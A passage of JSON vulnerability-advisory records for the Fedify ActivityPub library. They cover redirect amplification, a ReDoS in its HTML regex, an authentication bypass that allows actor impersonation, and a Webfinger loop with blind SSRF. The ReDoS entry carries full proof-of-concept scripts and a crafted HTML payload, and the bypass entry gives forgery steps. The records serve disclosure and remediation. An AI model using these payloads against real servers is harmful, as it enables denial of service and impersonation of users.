generateCryptoKeyPair();\n  const loader = getAuthenticatedDocumentLoader(\n    {\n      privateKey,\n      keyId: new URL(\"https://example.com/users/index#main-key\"),\n    },\n    { allowPrivateAddress: true },\n  );\n\n  await loader(`http://127.0.0.1:${port}/actor`);\n  console.log({ count });\n} finally {\n  server.close();\n}\n```\n\n### Impact\n\nThis is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached.\n\n### Misc Notes\n\nThis issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. **The original reporter should be credited for the discovery**.\n\nIn case you accept this advisory please coordinate time of disclosure and credit with us","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-07T18:04:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp","https://nvd.nist.gov/vuln/detail/CVE-2026-34148","https://github.com/fedify-dev/fedify/releases/tag/1.10.5","https://github.com/fedify-dev/fedify/releases/tag/1.9.6","https://github.com/fedify-dev/fedify/releases/tag/2.0.8","https://github.com/fedify-dev/fedify/releases/tag/2.1.1","https://github.com/advisories/GHSA-gm9m-gwc4-hwgp"],"source_kind":"github","identifiers":["GHSA-gm9m-gwc4-hwgp","CVE-2026-34148"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-07T19:00:09.750Z","updated_at":"2026-04-25T01:00:30.272Z","epss_percentage":0.00058,"epss_percentile":0.18287,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nbTltLWd3YzQtaHdncM4ABU1p","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nbTltLWd3YzQtaHdncM4ABU1p","packages":[{"ecosystem":"npm","package_name":"@fedify/fedify","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"= 2.1.0"},{"first_patched_version":"2.0.8","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.8"},{"first_patched_version":"1.10.5","vulnerable_version_range":"\u003e= 1.10.0, \u003c 1.10.5"},{"first_patched_version":"1.9.6","vulnerable_version_range":"\u003c 1.9.6"}],"purl":"pkg:npm/%40fedify%2Ffedify"},{"ecosystem":"npm","package_name":"@fedify/vocab-runtime","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"= 2.1.0"},{"first_patched_version":"2.0.8","vulnerable_version_range":"\u003c 2.0.8"}],"purl":"pkg:npm/%40fedify%2Fvocab-runtime"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nbTltLWd3YzQtaHdncM4ABU1p/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yY2hmLXh3eDItaG05M84ABQDw","url":"https://github.com/advisories/GHSA-rchf-xwx2-hm93","title":"Fedify has ReDoS Vulnerability in HTML Parsing Regex","description":"Hi Fedify team! 👋\n\nThank you for your work on Fedify—it's a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I'd like to report. I hope this helps improve the project's security.\n\n---\n\n## Summary\n\nA Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify's document loader. The HTML parsing regex at `packages/fedify/src/runtime/docloader.ts:259` contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses. \n\n**An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim's Node.js event loop for 14+ seconds, causing a Denial of Service.**\n\n| Field | Value |\n|-------|-------|\n| **CWE** | CWE-1333 (Inefficient Regular Expression Complexity) |\n\n---\n\n## Details\n\n### Vulnerable Code\n\nThe vulnerability is located in `packages/fedify/src/runtime/docloader.ts`, lines 258-264:\n\n```typescript\n// Line 258-259: Vulnerable regex with nested quantifiers\nconst p =\n  /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|'[^']*'|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n\n// Line 261: No size limit on response body\nconst html = await response.text();\n\n// Line 264: Regex execution loop\nwhile ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);\n```\n\n### Root Cause Analysis\n\nThe regex has **nested quantifiers with alternation**, which is a classic ReDoS pattern:\n\n```\n/\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|'[^']*'|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig\n                                                        ^^\n                                                   Outer quantifier (+)\n           ^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n                     Inner pattern with alternation\n```\n\n- **Outer quantifier**: `((\\s+...)+)` - one or more groups of attributes\n- **Inner alternation**: `(\"[^\"]*\"|'[^']*'|[^\\s\u003e]+)` - multiple ways to match attribute values\n\nWhen the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.\n\n### Attack Vector\n\n1. Victim's Fedify application calls `lookupObject(\"https://attacker.com/@user\")` to fetch an actor profile\n2. Attacker's server responds with `Content-Type: text/html`\n3. The code path: `lookupObject()` → `documentLoader()` → `getRemoteDocument()` → HTML parsing (lines 258-287)\n4. Line 261: `response.text()` reads the entire body without size limits\n5. Line 264: Regex execution triggers catastrophic backtracking\n6. Event loop is blocked for seconds to minutes, causing DoS\n\n### Why This Is Exploitable\n\n- **No response size limit**: The HTML body is read entirely via `response.text()` without Content-Length validation\n- **No timeout by default**: `AbortSignal` is optional and not enforced\n- **Remote exploitation**: Attacker just needs the victim to fetch from their URL\n- **No authentication required**: Federation commonly involves fetching profiles from untrusted servers\n- **Amplifiable**: Multiple concurrent requests can fully disable the service\n\n---\n\n## PoC\n\n### Quick Reproduction (Node.js)\n\nYou can verify this vulnerability with the following standalone script:\n\n```javascript\n/**\n * Fedify ReDoS Vulnerability - Minimal PoC\n * \n * This script reproduces the vulnerable regex from docloader.ts\n * and demonstrates exponential time complexity.\n */\n\n// The vulnerable regex from docloader.ts:259\nconst VULNERABLE_REGEX = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|'[^']*'|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n\n/**\n * Generate malicious HTML payload\n * Pattern: \u003ca a=\"b\" a=\"b\" a=\"b\"... (trailing space, no closing \u003e)\n */\nfunction generateMaliciousPayload(repetitions) {\n  return '\u003ca' + ' a=\"b\"'.repeat(repetitions) + ' ';\n}\n\n/**\n * Simulate the vulnerable code path from docloader.ts lines 262-264\n */\nfunction simulateVulnerableCodePath(html) {\n  const p = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|'[^']*'|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n  let m;\n  const rawAttribs = [];\n  while ((m = p.exec(html)) !== null) {\n    rawAttribs.push(m[2]);\n  }\n  return rawAttribs;\n}\n\n// Test with increasing payload sizes\nconsole.log('Fedify ReDoS Vulnerability PoC\\n');\nconsole.log('Repetitions | Payload Size | Time');\nconsole.log('------------|--------------|--------');\n\nfor (const reps of [18, 20, 22, 24, 26, 28]) {\n  const payload = generateMaliciousPayload(reps);\n  const start = performance.now();\n  simulateVulnerableCodePath(payload);\n  const elapsed = performance.now() - start;\n  \n  const timeStr = elapsed \u003e= 1000 \n    ? `${(elapsed / 1000).toFixed(2)}s` \n    : `${elapsed.toFixed(0)}ms`;\n  \n  console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' bytes').padEnd(12)} | ${timeStr}`);\n  \n  // Stop if it's taking too long\n  if (elapsed \u003e 15000) break;\n}\n```\n\n### Expected Output\n\n```\nFedify ReDoS Vulnerability PoC\n\nRepetitions | Payload Size | Time\n------------|--------------|--------\n18          | 111 bytes    | 14ms\n20          | 123 bytes    | 51ms\n22          | 135 bytes    | 224ms\n24          | 147 bytes    | 852ms\n26          | 159 bytes    | 3.26s\n28          | 171 bytes    | 14.10s\n```\n\nTime approximately **quadruples every 2 additional repetitions**, demonstrating O(2^n) complexity.\n\n### Full Docker-Based PoC\n\nFor a complete demonstration, here are the Docker files to run the PoC in an isolated environment:\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003eDockerfile\u003c/strong\u003e\u003c/summary\u003e\n\n```dockerfile\n# Dockerfile for Fedify ReDoS Vulnerability PoC\nFROM node:20-slim\nLABEL description=\"PoC for Fedify ReDoS vulnerability (CWE-1333)\"\n\nWORKDIR /poc\nCOPY exploit.js .\n\nCMD [\"node\", \"exploit.js\"]\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003eexploit.js\u003c/strong\u003e (Full Version)\u003c/summary\u003e\n\n```javascript\n/**\n * Exploit Script for Fedify ReDoS PoC\n * \n * This script demonstrates the ReDoS vulnerability in Fedify's\n * document loader by measuring the time it takes to process\n * malicious HTML responses with varying payload sizes.\n */\n\n// The vulnerable regex from docloader.ts:259\nconst VULNERABLE_REGEX = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|'[^']*'|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n\n/**\n * Generate malicious HTML payload\n */\nfunction generateMaliciousHtml(repetitions) {\n  return '\u003ca' + ' a=\"b\"'.repeat(repetitions) + ' ';\n}\n\n/**\n * Generate normal HTML\n */\nfunction generateNormalHtml() {\n  return `\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003clink rel=\"alternate\" type=\"application/activity+json\" href=\"/user.json\"\u003e\n\u003c/head\u003e\n\u003cbody\u003e\u003ca href=\"/\"\u003eHome\u003c/a\u003e\u003c/body\u003e\n\u003c/html\u003e`;\n}\n\n/**\n * Simulate the vulnerable code path from docloader.ts\n */\nfunction simulateVulnerableCodePath(html) {\n  const p = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|'[^']*'|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n  const p2 = /\\s+([a-z][a-z:_-]*)=(\"([^\"]*)\"|'([^']*)'|([^\\s\u003e]+))/ig;\n  \n  let m;\n  const rawAttribs = [];\n  while ((m = p.exec(html)) !== null) {\n    rawAttribs.push(m[2]);\n  }\n  \n  return rawAttribs;\n}\n\n/**\n * Run a single test and measure execution time\n */\nfunction runTest(html, description) {\n  const start = process.hrtime.bigint();\n  \n  try {\n    simulateVulnerableCodePath(html);\n  } catch (e) {\n    // Ignore errors\n  }\n  \n  const end = process.hrtime.bigint();\n  const durationMs = Number(end - start) / 1_000_000;\n  \n  return {\n    description,\n    durationMs,\n    payloadLength: html.length\n  };\n}\n\n/**\n * Print separator\n */\nfunction printSeparator() {\n  console.log('─'.repeat(60));\n}\n\n/**\n * Main exploit function\n */\nasync function main() {\n  console.log('\\n╔══════════════════════════════════════════════════════════╗');\n  console.log('║        Fedify ReDoS Vulnerability PoC                    ║');\n  console.log('║        CWE-1333: Inefficient Regular Expression          ║');\n  console.log('╚══════════════════════════════════════════════════════════╝\\n');\n\n  console.log('[*] Vulnerability Location:');\n  console.log('    File: packages/fedify/src/runtime/docloader.ts');\n  console.log('    Lines: 259-264');\n  console.log('');\n  \n  printSeparator();\n  console.log('[*] Testing normal HTML response...');\n  printSeparator();\n  \n  const normalHtml = generateNormalHtml();\n  const normalResult = runTest(normalHtml, 'Normal HTML');\n  console.log(`[+] Normal request completed in ${normalResult.durationMs.toFixed(2)}ms`);\n  console.log(`    Payload size: ${normalResult.payloadLength} bytes`);\n  console.log('');\n\n  printSeparator();\n  console.log('[*] Testing malicious HTML payloads (ReDoS attack)...');\n  printSeparator();\n  \n  const testCases = [\n    { reps: 18, expected: '~13ms' },\n    { reps: 20, expected: '~52ms' },\n    { reps: 22, expected: '~228ms' },\n    { reps: 24, expected: '~857ms' },\n    { reps: 26, expected: '~3.4s' },\n    { reps: 28, expected: '~14s' }\n  ];\n  \n  console.log('');\n  console.log('┌─────────────┬──────────────┬──────────────┬────────────────┐');\n  console.log('│ Repetitions │ Payload Size │ Expected     │ Actual         │');\n  console.log('├─────────────┼──────────────┼──────────────┼────────────────┤');\n  \n  let vulnerabilityConfirmed = false;\n  \n  for (const testCase of testCases) {\n    const maliciousHtml = generateMaliciousHtml(testCase.reps);\n    const result = runTest(maliciousHtml, `${testCase.reps} repetitions`);\n    \n    const actualTime = result.durationMs \u003e= 1000 \n      ? `${(result.durationMs / 1000).toFixed(2)}s` \n      : `${result.durationMs.toFixed(0)}ms`;\n    \n    const status = result.durationMs \u003e 100 ? '⚠️ ' : '✓ ';\n    \n    console.log(`│ ${String(testCase.reps).padEnd(11)} │ ${String(result.payloadLength + ' bytes').padEnd(12)} │ ${testCase.expected.padEnd(12)} │ ${status}${actualTime.padEnd(12)} │`);\n    \n    if (result.durationMs \u003e 500) {\n      vulnerabilityConfirmed = true;\n    }\n  }\n  \n  console.log('└─────────────┴──────────────┴──────────────┴────────────────┘');\n  console.log('');\n  \n  printSeparator();\n  console.log('[*] Exponential Time Complexity Analysis');\n  printSeparator();\n  \n  console.log('');\n  console.log('Time approximately quadruples every 2 additional repetitions:');\n  console.log('');\n  console.log('  18 reps →   ~14ms');\n  console.log('  20 reps →   ~51ms (4x)');  \n  console.log('  22 reps →  ~224ms (4x)');\n  console.log('  24 reps →  ~852ms (4x)');\n  console.log('  26 reps →  ~3.3s  (4x)');\n  console.log('  28 reps → ~14.0s  (4x)');\n  console.log('  30 reps → ~56.0s  (estimated)');\n  console.log('');\n  \n  printSeparator();\n  console.log('[*] Attack Scenario');\n  printSeparator();\n  \n  console.log('');\n  console.log('1. Attacker sets up malicious federated server');\n  console.log('2. Victim\\'s Fedify app calls lookupObject(\"https://attacker.com/@user\")');\n  console.log('3. Attacker responds with Content-Type: text/html');\n  console.log('4. Malicious HTML payload: \u003ca a=\"b\" a=\"b\" a=\"b\"... (N times) ');\n  console.log('5. Fedify\\'s regex enters catastrophic backtracking');\n  console.log('6. Event loop blocked → Service unavailable (DoS)');\n  console.log('');\n  \n  printSeparator();\n  \n  if (vulnerabilityConfirmed) {\n    console.log('');\n    console.log('╔══════════════════════════════════════════════════════════╗');\n    console.log('║  ✓ VULNERABILITY CONFIRMED                               ║');\n    console.log('║                                                          ║');\n    console.log('║  The HTML parsing regex in docloader.ts is vulnerable    ║');\n    console.log('║  to ReDoS attacks. A ~150 byte payload can block the     ║');\n    console.log('║  Node.js event loop for 7+ seconds.                      ║');\n    console.log('╚══════════════════════════════════════════════════════════╝');\n    console.log('');\n    process.exit(0);\n  } else {\n    console.log('');\n    console.log('[!] Vulnerability could not be confirmed in this environment.');\n    console.log('    This may be due to regex engine optimizations.');\n    console.log('');\n    process.exit(1);\n  }\n}\n\nmain().catch(console.error);\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003erun_poc.sh\u003c/strong\u003e\u003c/summary\u003e\n\n```bash\n#!/bin/bash\n# Fedify ReDoS Vulnerability PoC Runner\n\nset -e\n\nIMAGE_NAME=\"fedify-redos-poc\"\n\necho \"Building Docker image...\"\ndocker build -t ${IMAGE_NAME} .\n\necho \"Running the PoC...\"\ndocker run --rm ${IMAGE_NAME}\n\necho \"Cleaning up...\"\ndocker rmi ${IMAGE_NAME} 2\u003e/dev/null || true\n```\n\n\u003c/details\u003e\n\n### Running the Docker PoC\n\n```bash\n# Save the above files, then:\nchmod +x run_poc.sh\n./run_poc.sh\n```\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- **All Fedify applications** that use `lookupObject()`, `getDocumentLoader()`, or the built-in document loader to fetch content from external URLs\n- **Any federated server** that fetches actor profiles, posts, or other ActivityPub objects from potentially untrusted sources\n- **Servers following standard federation patterns** - fetching remote actors is a normal operation\n\n### Severity Assessment\n\n| Factor | Assessment |\n|--------|------------|\n| **Attack Vector** | Network (remote) |\n| **Attack Complexity** | Low (trivial payload) |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Impact** | Availability (DoS) |\n| **Scope** | Service-wide |\n\n### Real-World Scenario\n\n1. A Mastodon-compatible server powered by Fedify receives a follow request or mention from `@attacker@evil.com`\n2. The server attempts to fetch the attacker's profile via `lookupObject()`\n3. The attacker's server responds with malicious HTML\n4. The victim server's event loop is blocked for 14+ seconds\n5. During this time, all other requests are queued and potentially time out\n6. Repeated attacks can cause sustained service unavailability\n\n---\n\n## Recommended Fix\n\n### Option 1: Use a Proper HTML Parser (Recommended)\n\nReplace regex-based HTML parsing with a DOM parser that doesn't suffer from backtracking issues:\n\n```typescript\n// Using linkedom (lightweight DOM implementation)\nimport { parseHTML } from 'linkedom';\n\n// Replace lines 258-287 with:\nconst { document } = parseHTML(html);\nconst links = document.querySelectorAll('a[rel=\"alternate\"], link[rel=\"alternate\"]');\n\nfor (const link of links) {\n  const type = link.getAttribute('type');\n  const href = link.getAttribute('href');\n  \n  if (\n    href \u0026\u0026\n    (type === 'application/activity+json' ||\n     type === 'application/ld+json' ||\n     type?.startsWith('application/ld+json;'))\n  ) {\n    const altUri = new URL(href, docUrl);\n    if (altUri.href !== docUrl.href) {\n      return await fetch(altUri.href);\n    }\n  }\n}\n```\n\n### Option 2: Add Response Size Limits\n\nIf regex must be used, at minimum add size limits:\n\n```typescript\nconst MAX_HTML_SIZE = 1024 * 1024; // 1MB\nconst contentLength = parseInt(response.headers.get('content-length') || '0');\n\nif (contentLength \u003e MAX_HTML_SIZE) {\n  throw new FetchError(url, 'Response too large');\n}\n\nconst html = await response.text();\nif (html.length \u003e MAX_HTML_SIZE) {\n  throw new FetchError(url, 'Response too large');\n}\n```\n\n### Option 3: Refactor the Regex\n\nIf the regex approach is preferred, use atomic grouping or possessive quantifiers (where supported), or restructure to avoid nested quantifiers:\n\n```typescript\n// Use a non-backtracking approach with explicit attribute matching\nconst tagPattern = /\u003c(a|link)\\s+([^\u003e]+)\u003e/ig;\nconst attrPattern = /([a-z][a-z:_-]*)=(?:\"([^\"]*)\"|'([^']*)'|(\\S+))/ig;\n```\n\n---\n\n## Resources\n\n- [OWASP: Regular Expression Denial of Service (ReDoS)](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n- [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html)\n- [Cloudflare Outage Analysis (ReDoS Example)](https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/)\n\n---\n\nThank you for taking the time to review this report. I'm happy to provide any additional information or help test a fix. Please let me know if you have any questions!","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-12-22T21:36:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/fedify-dev/fedify/security/advisories/GHSA-rchf-xwx2-hm93","https://github.com/fedify-dev/fedify/commit/2bdcb24d7d6d5886e0214ed504b63a6dc5488779","https://github.com/fedify-dev/fedify/commit/bf2f0783634efed2663d1b187dc55461ee1f987a","https://github.com/fedify-dev/fedify/releases/tag/1.6.13","https://github.com/fedify-dev/fedify/releases/tag/1.7.14","https://github.com/fedify-dev/fedify/releases/tag/1.8.15","https://github.com/fedify-dev/fedify/releases/tag/1.9.2","https://nvd.nist.gov/vuln/detail/CVE-2025-68475","https://github.com/advisories/GHSA-rchf-xwx2-hm93"],"source_kind":"github","identifiers":["GHSA-rchf-xwx2-hm93","CVE-2025-68475"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-22T22:00:08.417Z","updated_at":"2026-04-25T01:01:43.214Z","epss_percentage":0.00426,"epss_percentile":0.62332,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yY2hmLXh3eDItaG05M84ABQDw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yY2hmLXh3eDItaG05M84ABQDw","packages":[{"ecosystem":"npm","package_name":"@fedify/fedify","versions":[{"first_patched_version":"1.9.2","vulnerable_version_range":"\u003e= 1.9.0, \u003c 1.9.2"},{"first_patched_version":"1.8.15","vulnerable_version_range":"\u003e= 1.8.0, \u003c 1.8.15"},{"first_patched_version":"1.7.14","vulnerable_version_range":"\u003e= 1.7.0, \u003c 1.7.14"},{"first_patched_version":"1.6.13","vulnerable_version_range":"\u003c 1.6.13"}],"purl":"pkg:npm/%40fedify%2Ffedify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yY2hmLXh3eDItaG05M84ABQDw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02amNjLXhnY3ItcTNoNM4ABK4B","url":"https://github.com/advisories/GHSA-6jcc-xgcr-q3h4","title":"@fedify/fedify has Improper Authentication and Incorrect Authorization","description":"### Summary\n An authentication bypass vulnerability allows any unauthenticated attacker to impersonate any ActivityPub actor by sending forged activities signed with their own keys. Activities are processed before verifying the signing key belongs to the claimed actor, enabling complete actor impersonation across all Fedify instances\n\n### Details\nThe vulnerability exists in handleInboxInternal function in fedify/federation/handler.ts. The critical flaw is in the order of operations:\n\n  1. Line 1712: routeActivity() is called first, which processes the activity (either immediately or by adding to queue)\n  2. Line 1730: Authentication check (doesActorOwnKey) happens AFTER processing\n\n```ts\n  // fedify/federation/handler.ts:1712-1750\n  const routeResult = await routeActivity({  // ← Activity processed here\n    context: ctx,\n    json,\n    activity,\n    recipient,\n    inboxListeners,\n    inboxContextFactory,\n    inboxErrorHandler,\n    kv,\n    kvPrefixes,\n    queue,\n    span,\n    tracerProvider,\n  });\n\n  if (\n    httpSigKey != null \u0026\u0026 !await doesActorOwnKey(activity, httpSigKey, ctx)  // ← Auth check too late\n  ) {\n    // Returns 401, but activity already processed\n    return new Response(\"The signer and the actor do not match.\", {\n      status: 401,\n      headers: { \"Content-Type\": \"text/plain; charset=utf-8\" },\n    });\n  }\n```\n\nBy the time the 401 response is returned, the malicious activity has already been processed or queued.\n\n### PoC\n\n  1. Create an activity claiming to be from any actor:\n```ts\n  const maliciousActivity = {\n    \"@context\": \"https://www.w3.org/ns/activitystreams\",\n    \"type\": \"Create\",\n    \"actor\": \"https://victim.example.com/users/alice\",  // Impersonating victim\n    \"object\": {\n      \"type\": \"Note\",\n      \"content\": \"This is a forged message!\"\n    }\n  }\n```\n  2. Sign the HTTP request with attacker's key (not the victim's):\n```ts\n  // Sign with attacker's key: https://attacker.com/users/eve#main-key\n  const signedRequest = await signRequest(request, attackerPrivateKey, attackerKeyId);\n```\n  3. Send to any Fedify inbox - the activity will be processed despite the key mismatch.\n\n### Impact\n\nType: Authentication Bypass / Actor Impersonation\n\nWho is impacted: All Fedify instances and their users\n\nConsequences: Allows complete impersonation of any ActivityPub actor, enabling:\n  - Sending fake posts/messages as any user\n  - Creating/removing follows as any user\n  - Boosting/sharing content as any user\n  - Complete compromise of federation trust model\n\nThe vulnerability affects all Fedify instances but does not propagate to other ActivityPub implementations (Mastodon, etc.) which properly validate before processing.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-08-08T14:29:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/fedify-dev/fedify/security/advisories/GHSA-6jcc-xgcr-q3h4","https://nvd.nist.gov/vuln/detail/CVE-2025-54888","https://github.com/fedify-dev/fedify/commit/14a2f8c6d2c3cbc00c3170a86ad3b7b8555c6847","https://github.com/advisories/GHSA-6jcc-xgcr-q3h4"],"source_kind":"github","identifiers":["GHSA-6jcc-xgcr-q3h4","CVE-2025-54888"],"repository_url":"https://github.com/fedify-dev/fedify","blast_radius":1.0,"created_at":"2025-08-08T15:09:59.104Z","updated_at":"2026-04-25T01:02:24.345Z","epss_percentage":0.00086,"epss_percentile":0.24834,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02amNjLXhnY3ItcTNoNM4ABK4B","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02amNjLXhnY3ItcTNoNM4ABK4B","packages":[{"ecosystem":"npm","package_name":"@fedify/fedify","versions":[{"first_patched_version":"1.8.5","vulnerable_version_range":"\u003e= 1.8.0-dev.909, \u003c 1.8.5"},{"first_patched_version":"1.7.9","vulnerable_version_range":"\u003e= 1.7.0-pr.251.885, \u003c 1.7.9"},{"first_patched_version":"1.6.8","vulnerable_version_range":"\u003e= 1.6.0-dev.754, \u003c 1.6.8"},{"first_patched_version":"1.5.5","vulnerable_version_range":"\u003e= 1.5.0-dev.636, \u003c 1.5.5"},{"first_patched_version":"1.4.13","vulnerable_version_range":"\u003e= 1.4.0-dev.585, \u003c 1.4.13"},{"first_patched_version":"1.3.20","vulnerable_version_range":"\u003c 1.3.20"}],"purl":"pkg:npm/%40fedify%2Ffedify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02amNjLXhnY3ItcTNoNM4ABK4B/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jNTlwLXdxNjctMjR3eM4ABDov","url":"https://github.com/advisories/GHSA-c59p-wq67-24wx","title":"Infinite loop and Blind SSRF found inside the Webfinger mechanism in @fedify/fedify","description":"### Summary\nThis vulnerability allows a user to maneuver the Webfinger mechanism to perform a GET request to any internal resource on any Host, Port, URL combination regardless of present security mechanisms, and forcing the victim’s server into an infinite loop causing Denial of Service.\nMoreover, this issue can also be maneuvered into performing a Blind SSRF attack.\n\n### Details\nThe Webfinger endpoint takes a remote domain for checking accounts as a feature, however, as per the ActivityPub spec (https://www.w3.org/TR/activitypub/#security-considerations), on the security considerations section at B.3, access to Localhost services should be prevented while running in production.\n\nThe **lookupWebFinger** function, responsible for returning an actor handler for received actor objects from a remote server, can be abused to perform a Denial of Service (DoS) and Blind SSRF attacks while attempting to resolve a malicious actor’s object.\nOn Fedify, two client-facing functions implement the **lookupWebFinger** function- **getActorHandle**, and **lookupObject**, which are both used as a wrapper for the vulnerable lookup function.\nAs the **lookupObject** function is implemented only for CLI usage, we won’t focus our PoC and explanation on it, but it is still vulnerable in the same way **getActorHandle** is.\n\nThe **getActorHandle** function is a wrapper function for the **getActorHandleInternal** function (both present at _/src/vocab/actor.ts_):\n```javascript\nasync function getActorHandleInternal(\n  actor: Actor | URL,\n  options: GetActorHandleOptions = {},\n): Promise\u003c`@${string}@${string}` | `${string}@${string}`\u003e {\n  const actorId = actor instanceof URL ? actor : actor.id;\n  if (actorId != null) {\n    const result = await lookupWebFinger(actorId, {\n      userAgent: options.userAgent,\n      tracerProvider: options.tracerProvider,\n    });\n    if (result != null) {\n      const aliases = [...(result.aliases ?? [])];\n      if (result.subject != null) aliases.unshift(result.subject);\n      for (const alias of aliases) {\n        const match = alias.match(/^acct:([^@]+)@([^@]+)$/);\n        if (match != null) {\n          const hostname = new URL(`https://${match[2]}/`).hostname;\n          if (\n            hostname !== actorId.hostname \u0026\u0026\n            !await verifyCrossOriginActorHandle(\n              actorId.href,\n              alias,\n              options.userAgent,\n              options.tracerProvider,\n            )\n          ) {\n            continue;\n          }\n          return normalizeActorHandle(`@${match[1]}@${match[2]}`, options);\n        }\n      }\n    }\n  }\n  if (\n    !(actor instanceof URL) \u0026\u0026 actor.preferredUsername != null \u0026\u0026\n    actor.id != null\n  ) {\n    return normalizeActorHandle(\n      `@${actor.preferredUsername}@${actor.id.host}`,\n      options,\n    );\n  }\n  throw new TypeError(\n    \"Actor does not have enough information to get the handle.\",\n  );\n}\n```\n\nThe **actorId** parameter containing a URL of the actor ID sinks into the **lookupWebFinger** function which is a wrapper for the **lookupWebFingerInternal**:\n```javascript\nasync function lookupWebFingerInternal(\n  resource: URL | string,\n  options: LookupWebFingerOptions = {},\n): Promise\u003cResourceDescriptor | null\u003e {\n  if (typeof resource === \"string\") resource = new URL(resource);\n  let protocol = \"https:\";\n  let server: string;\n  if (resource.protocol === \"acct:\") {\n    const atPos = resource.pathname.lastIndexOf(\"@\");\n    if (atPos \u003c 0) return null;\n    server = resource.pathname.substring(atPos + 1);\n    if (server === \"\") return null;\n  } else {\n    protocol = resource.protocol;\n    server = resource.host;\n  }\n  let url = new URL(`${protocol}//${server}/.well-known/webfinger`);\n  url.searchParams.set(\"resource\", resource.href);\n  while (true) {\n    logger.debug(\n      \"Fetching WebFinger resource descriptor from {url}...\",\n      { url: url.href },\n    );\n    let response: Response;\n    try {\n      response = await fetch(url, {\n        headers: {\n          Accept: \"application/jrd+json\",\n          \"User-Agent\": typeof options.userAgent === \"string\"\n            ? options.userAgent\n            : getUserAgent(options.userAgent),\n        },\n        redirect: \"manual\",\n      });\n    } catch (error) {\n      logger.debug(\n        \"Failed to fetch WebFinger resource descriptor: {error}\",\n        { url: url.href, error },\n      );\n      return null;\n    }\n    if (\n      response.status \u003e= 300 \u0026\u0026 response.status \u003c 400 \u0026\u0026\n      response.headers.has(\"Location\")\n    ) {\n      url = new URL(\n        response.headers.get(\"Location\")!,\n        response.url == null || response.url === \"\" ? url : response.url,\n      );\n      continue;\n    }\n    if (!response.ok) {\n      logger.debug(\n        \"Failed to fetch WebFinger resource descriptor: {status} {statusText}.\",\n        {\n          url: url.href,\n          status: response.status,\n          statusText: response.statusText,\n        },\n      );\n      return null;\n    }\n    try {\n      return await response.json() as 